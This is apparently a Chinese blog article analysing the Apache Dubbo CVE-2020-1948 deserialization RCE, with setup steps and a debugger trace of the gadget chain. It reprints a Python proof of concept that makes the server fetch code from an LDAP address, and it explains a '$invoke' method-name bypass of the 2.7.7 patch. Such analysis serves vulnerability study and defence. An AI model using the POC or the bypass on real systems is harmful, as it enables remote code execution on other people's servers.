如何進(jìn)行Apachedubbo反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析

這篇文章將為大家詳細(xì)講解有關(guān)如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對(duì)相關(guān)知識(shí)有一定的了解。

創(chuàng)新互聯(lián)建站專業(yè)為企業(yè)提供濰坊網(wǎng)站建設(shè)、濰坊做網(wǎng)站、濰坊網(wǎng)站設(shè)計(jì)、濰坊網(wǎng)站制作等企業(yè)網(wǎng)站建設(shè)、網(wǎng)頁(yè)設(shè)計(jì)與制作、濰坊企業(yè)網(wǎng)站模板建站服務(wù),十余年濰坊做網(wǎng)站經(jīng)驗(yàn),不只是建網(wǎng)站,更提供有價(jià)值的思路和整體網(wǎng)絡(luò)服務(wù)。

Apache Dubbo簡(jiǎn)介

Dubbo是一個(gè)分布式服務(wù)框架,致力于提供高性能和透明化的RPC遠(yuǎn)程服務(wù)調(diào)用方案,以及SOA服務(wù)治理方案。簡(jiǎn)單的說(shuō),dubbo就是個(gè)服務(wù)框架,如果沒(méi)有分布式的需求,其實(shí)是不需要用的,只有在分布式的時(shí)候,才有dubbo這樣的分布式服務(wù)框架的需求,并且本質(zhì)上是個(gè)服務(wù)調(diào)用的東東,說(shuō)白了就是個(gè)遠(yuǎn)程服務(wù)調(diào)用的分布式框架(告別Web Service模式中的WSdl,以服務(wù)者與消費(fèi)者的方式在dubbo上注冊(cè)) 其核心部分包含:

  • 遠(yuǎn)程通訊: 提供對(duì)多種基于長(zhǎng)連接的NIO框架抽象封裝,包括多種線程模型,序列化,以及“請(qǐng)求-響應(yīng)”模式的信息交換方式。

  • 集群容錯(cuò): 提供基于接口方法的透明遠(yuǎn)程過(guò)程調(diào)用,包括多協(xié)議支持,以及軟負(fù)載均衡,失敗容錯(cuò),地址路由,動(dòng)態(tài)配置等集群支持。

  • 自動(dòng)發(fā)現(xiàn): 基于注冊(cè)中心目錄服務(wù),使服務(wù)消費(fèi)方能動(dòng)態(tài)的查找服務(wù)提供方,使地址透明,使服務(wù)提供方可以平滑增加或減少機(jī)器。

下圖是來(lái)自Apache dubbo 官網(wǎng)的工作流程和原理

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析

  • Provider

    • 暴露服務(wù)方稱之為“服務(wù)提供者”

  • Consumer

    • 調(diào)用遠(yuǎn)程服務(wù)方稱之為“服務(wù)消費(fèi)者”

  • Registry

    • 服務(wù)注冊(cè)與發(fā)現(xiàn)的中心目錄服務(wù)稱之為“服務(wù)注冊(cè)中心”

  • Monitor

    • 統(tǒng)計(jì)服務(wù)的調(diào)用次調(diào)和調(diào)用時(shí)間的日志服務(wù)稱之為“服務(wù)監(jiān)控中心”

  • Container

    • 服務(wù)運(yùn)行容器。

Provider將本地提供的遠(yuǎn)程方法在注冊(cè)中心進(jìn)行注冊(cè),Consumer需要調(diào)用時(shí)會(huì)先去注冊(cè)中心進(jìn)行查詢,根據(jù)注冊(cè)中心返回的結(jié)果再去對(duì)應(yīng)的Provider中調(diào)用對(duì)應(yīng)的遠(yuǎn)程方法,如果有變更,注冊(cè)中心將基于長(zhǎng)連接推送變更數(shù)據(jù)給Consumer 。

啟動(dòng)注冊(cè)中心,Apache dubbo 推薦使用的注冊(cè)中心時(shí)Apache ZooKeeper注冊(cè)中心 下載地址https://zookeeper.apache.org/releases.html

啟動(dòng)ZooKeeper之前可以自定義修改 “/conf/zoo.cfg”配置文件里的 clientPort和dataDir的值。

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析

Apache Dubbo有一個(gè)web端的管理界面 github地址如下https://github.com/apache/dubbo-admin

下載完成后進(jìn)入/dubbo-admin-server/src/main/resources目錄修改application.properties配置文件,將其中的注冊(cè)中心地址修改為自己?jiǎn)?dòng)的注冊(cè)中心的地址

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析dubbo-admin-server 目錄下運(yùn)行 mvn package -Dmaven.test.skip=true 將該模塊打包成jar包

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析

然后 java -jar dubbo-admin-server-0.2.0-SNAPSHOT.jar 啟動(dòng)dubbo-admin-server,此時(shí)啟動(dòng)了 dubbo管理的服務(wù)端但是沒(méi)有UI界面。

進(jìn)入到 dubbo-admin-ui 中 執(zhí)行 npm install 該命令執(zhí)行完成后 執(zhí)行npm run dev 。

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析訪問(wèn)http://localhost:8081 此時(shí)就有了UI界面,默認(rèn)賬號(hào)密碼都是root,在服務(wù)查詢中 我們可以看到Provider在Zookeeper注冊(cè)中心中注冊(cè)的遠(yuǎn)程方法服務(wù),目前沒(méi)有注冊(cè)所以無(wú)可用數(shù)據(jù)。

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析啟動(dòng)我們使用dubbo框架寫(xiě)的程序

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析可以看到我們的遠(yuǎn)程方法服務(wù)成功在zookeeper注冊(cè)中心進(jìn)行注冊(cè)

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析

CVE-2020-1948 深度分析

首先觀察一下網(wǎng)上已經(jīng)公布的POC的代碼

from hessian2 import new_object
from client import DubboClient

client = DubboClient('127.0.0.1', 20880)

JdbcRowSetImpl=new_object(
      'com.sun.rowset.JdbcRowSetImpl',
      dataSource="ldap://127.0.0.1:8087/ExploitMac",
      strMatchColumns=["fxx"]
      )
JdbcRowSetImplClass=new_object(
      'java.lang.Class',
      name="com.sun.rowset.JdbcRowSetImpl",
      )
toStringBean=new_object(
      'com.rometools.rome.feed.impl.ToStringBean',
      beanClass=JdbcRowSetImplClass,
      obj=JdbcRowSetImpl
      )

resp = client.send_request_and_return_response(
    service_name='com.example.provider.service.UesrService',
    method_name='test',
    args=[toStringBean])

不難看出,該漏洞利用鏈最終是通過(guò)JdbcRowSetImpl調(diào)用jndi來(lái)進(jìn)行遠(yuǎn)程代碼執(zhí)行。同時(shí)我們發(fā)現(xiàn)該gadget中用到了com.rometools.rome.feed.impl.ToStringBean,所以Provider的pom.xml中需要添加rometools的引用

<dependency><groupId>com.rometools</groupId><artifactId>rome</artifactId><version>1.7.0</version>
</dependency>

通過(guò)wireshark抓包來(lái)看一下 POC發(fā)出的報(bào)文內(nèi)容

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析我們將斷點(diǎn)打在 org.apache.dubbo.remoting.transport.DecodeHandler 的第57行代碼上。

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析跟進(jìn)該方法后可以看到該方法內(nèi)首先會(huì)進(jìn)行一個(gè)if判斷,判斷完成后會(huì)調(diào)用DecodeableRpcInvocation.decode()方法并傳遞進(jìn)去兩個(gè)參數(shù),其中有一個(gè)inputStream參數(shù),我們?cè)敿?xì)看一下該參數(shù)的內(nèi)容

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析

可以看到正是我們通過(guò)POC發(fā)送的序列化數(shù)據(jù)

跟進(jìn)該方法,在第131行代碼處有一個(gè)if判斷,這里通過(guò)RefctUtils.desc2classArray()處理完desc參數(shù)然后返回一個(gè)ToStringBean的類對(duì)象。

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析緊接著通過(guò)Hessian將ToStringBean的類對(duì)象反序列化成ToStringBean對(duì)象并賦值給args參數(shù)

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析仔細(xì)觀察一下此時(shí)args指向的ToStringBean對(duì)象的詳細(xì)內(nèi)容,可見(jiàn)此時(shí)ToStringBean對(duì)象有兩個(gè)屬性已經(jīng)被賦值為JdbcRowSetImpl。

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析

當(dāng)前方法執(zhí)行完成后 args參數(shù)和pts參數(shù)分別被賦值給當(dāng)前對(duì)象的arguments屬性和parameterTypes屬性,然后當(dāng)前DecodeableRpcInvocation作為參數(shù)進(jìn)行返回

返回到DecodeHandler中,在第51行代碼中傳入的message參數(shù)是一個(gè)Request對(duì)象,該Request對(duì)象是dubbo的包中的,簡(jiǎn)單看一下該對(duì)象的詳細(xì)信息

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析跟進(jìn)該方法,然后繼續(xù)跟進(jìn)handleRequest()方法。

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析在DubboProtocol類的第263行代碼中經(jīng)過(guò)一個(gè)if判斷然后判斷成功會(huì)拋出一個(gè)RemotingException,關(guān)鍵點(diǎn)就在這里,可以看到傳入的參數(shù)中采用了字符串拼接的形式,當(dāng)使用字符串拼接的時(shí)候,會(huì)自動(dòng)調(diào)用StringBuilder的對(duì)象的append方法,依次處理channel.getRemoteAddress()的返回值,channel.getLocalAddress()的返回值,getInvocationWithoutData(inv)的返回值,而getInvocationWithoutData(inv)的返回值正式含有惡意請(qǐng)求的DecodeableRpcInvocation對(duì)象,StringBuilder要調(diào)用DecodeableRpcInvocation的toString方法將其轉(zhuǎn)化為字符串

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析DecodeableRpcInvocation類的父類RpcInvocation重寫(xiě)了toString方法,看一下RpcInvocation.toString()方法的實(shí)現(xiàn)

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析

同樣還是字符串拼接,其中Arrays.toString(arguments),agruments正是之前封裝進(jìn)DecodeableRpcInvocation對(duì)象中的ToStringBean對(duì)象。接下來(lái)自然會(huì)調(diào)用ToStringBean.toString()方法。

ToStringBean.toString()方法,執(zhí)行時(shí)取出其中的obj屬性獲取其類名稱,并作為參數(shù)傳入另一個(gè)重寫(xiě)的toString方法

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析該toString方法中會(huì)通過(guò)反射不斷調(diào)用JdbcRowSetImpl對(duì)象的各個(gè)方法,當(dāng)反射調(diào)用JdbcRowSetImpl對(duì)象的getDatabaseMetaData方法時(shí),會(huì)觸發(fā)JDNI遠(yuǎn)程訪問(wèn)dataSource

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析我們可以看到dataSource的值

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析至此Apache dubbo (CVE-2020-1948) 反序列化遠(yuǎn)程代碼執(zhí)行漏洞原理分析完畢

補(bǔ)丁繞過(guò)分析

這次針對(duì)該漏洞的補(bǔ)丁非常簡(jiǎn)單,在分析該漏洞時(shí)說(shuō)過(guò)在DecodeableRpcInvocation類的第131行有一個(gè)if 判斷,以下是2.7.6版本中該判斷的代碼

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析

更新后的2.7.7版本該判斷的代碼如下,可見(jiàn)在該判斷內(nèi)有增加了一個(gè)if 判斷,且新增加的判斷如果判斷失敗則會(huì)拋出IllegalArgumentException異常終止當(dāng)前線程的執(zhí)行。

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析

那么如何繞過(guò)該判斷讓程序繼續(xù)執(zhí)行下去從而觸發(fā)遠(yuǎn)程代碼執(zhí)行,我們跟入RpcUtils.isGenericCall()方法中來(lái)仔細(xì)觀察。

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析

不難發(fā)現(xiàn)該方法內(nèi)用僅僅只用String.equals方法對(duì)比了method參數(shù)是否和$INVOKE常量或者$INVOKE_ASYNC常量的值相同。

我門(mén)看一下兩個(gè)常量的值

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析我們此時(shí) method的值為“test”可見(jiàn)并不相同,緊接著進(jìn)入RpcUtils.isEcho()方法,同樣是和常量進(jìn)行對(duì)比,顯然結(jié)果也不相同

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析

所以if 判斷內(nèi)的最終結(jié)果為true,從而拋出異常終止執(zhí)行。繞過(guò)的方法相比大家也都想到了,我們只要讓method的值等于“$invoke”,“$invokeAsync”,“$echo”任意一個(gè)即可繞過(guò)。我們返回POC中查看與method對(duì)應(yīng)的值是哪一個(gè)

如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析

一眼就能發(fā)現(xiàn)其中的method_name就是我們要找的,我們只需要修改‘test’為‘$invoke’即可對(duì)當(dāng)前補(bǔ)丁進(jìn)行繞過(guò)。

此次漏洞是序列化傳輸?shù)胶笈_(tái)的數(shù)據(jù)被翻序列化完成后,在后續(xù)的處理過(guò)程中的一個(gè)異常處理中進(jìn)行了危險(xiǎn)操作,從而觸發(fā)了gadget。

關(guān)于如何進(jìn)行Apache dubbo 反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺(jué)得文章不錯(cuò),可以把它分享出去讓更多的人看到。

網(wǎng)頁(yè)名稱:如何進(jìn)行Apachedubbo反序列化遠(yuǎn)程代碼執(zhí)行漏洞及其補(bǔ)丁繞過(guò)深度分析
文章路徑:http://muchs.cn/article42/gdojhc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供移動(dòng)網(wǎng)站建設(shè)、外貿(mào)網(wǎng)站建設(shè)、網(wǎng)站導(dǎo)航、自適應(yīng)網(wǎng)站網(wǎng)站收錄、商城網(wǎng)站

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

外貿(mào)網(wǎng)站制作